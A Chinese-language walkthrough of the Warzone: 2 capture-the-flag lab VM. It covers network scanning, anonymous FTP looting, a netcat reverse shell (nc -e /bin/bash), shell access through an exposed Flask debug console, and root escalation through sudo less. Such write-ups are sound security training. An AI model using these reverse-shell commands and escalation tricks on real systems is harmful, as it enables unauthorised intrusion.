WARZONE 2

WARZONE: 2

一、基本信息

名称:Warzone: 2

发布日期:2020.11.9

作者:AL1ENUM

系列:Warzone

推特: @AL1ENUM

二、靶机简介

Flags:

admiral:/~/Desktop/silver.txt
root:/root/Desktop/gold.txt

难度:中等

三、文件信息

文件名:Warzone2.ova

文件大小:2.6GB

下载地址:

MD5: FF639B25FB64A049E094FC20F51B732C

SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机warzone2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
>ifconfig,查看kali分配到的ip

image

1
>nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现开放了21,22和1337端口,都是无法网页访问的:

1
>nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.129 | tee nmapscan,端口扫描

image

FTP匿名登录

1.来到21端口,我们发现ftp服务可匿名登录:

1
2
ftp 192.168.56.129
anonymous

image

2.在/anon目录下我们能发现username.PNG,password.PNG及token.PNG,全部获取到kali查看一下:

1
2
3
4
5
6
cd anon
ls -la
get username.PNG
get password.PNG
get token.PNG
quit

image

image

image

image

3.在网络上查询旗语的指代,可以得到用户名为semaphore,密码为signalperson,然后进行sha256加密再转hex后得到token为833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26,可以远程链接1337端口:

1
nc 192.168.56.129 1337

image

4.可以在kali开启对应的端口监听,获取shell:

1
2
3
nc -e /bin/bash 192.168.56.102 1234,靶机返回shell

nc -lvnp 1234,kali开启监听

image

初步提权

1.在/flagman目录下我们能发现一个warzone2-socket-server目录,在其中的.mysshpassword文件可以发现flagman的ssh登录密码,可以登录到flagman:

image

image

2.在flagman用户下利用sudo -l命令能发现admiral用户能够执行wrz2-app.py,而flagman无权读写该文件:

image

3.运行wrz2-app.py发现程序在5000端口起了一个flask,并且开启了debug和输出了pin码:

1
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py

image

4.那么我们就要尝试在debug中获取反弹shell,获取用户admiral权限。由于监听在地址127.0.0.1,这里使用socat做了一个端口转发:

1
2
3
socat TCP4-LISTEN:15000,reuseaddr,fork TCP4:127.0.0.1:5000

sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py,再开启一个窗口链接flagman执行wrz2-app.py

image

5.访问192.168.56.129:15000/console,输入wrz2-app.py生成的PIN,构造shell,在kali开启对应端口监听,成功反弹:

1
2
3
4
import os
os.system('nc -e /bin/bash 192.168.56.102 9002')

nc -lvnp 9002

image

image

6.在/home/admiral/Desktop目录下,我们能获得第一个flag,silver.txt:

1
2
3
cd ~/Desktop
ls -la
cat silver.txt

image

root提权

1.再通过sudo -l命令,可以看到less可以执行特权命令:

1
sudo -l

image

2.那我们可以直接使用less进行提权:

1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
:!id,在warzone-rules.txt编辑页输入

image

image

3.成功提权到root,并可以在/root/Desktop下发现第二个flag,gold.txt:

1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
cat /root/Desktop/gold.txt

image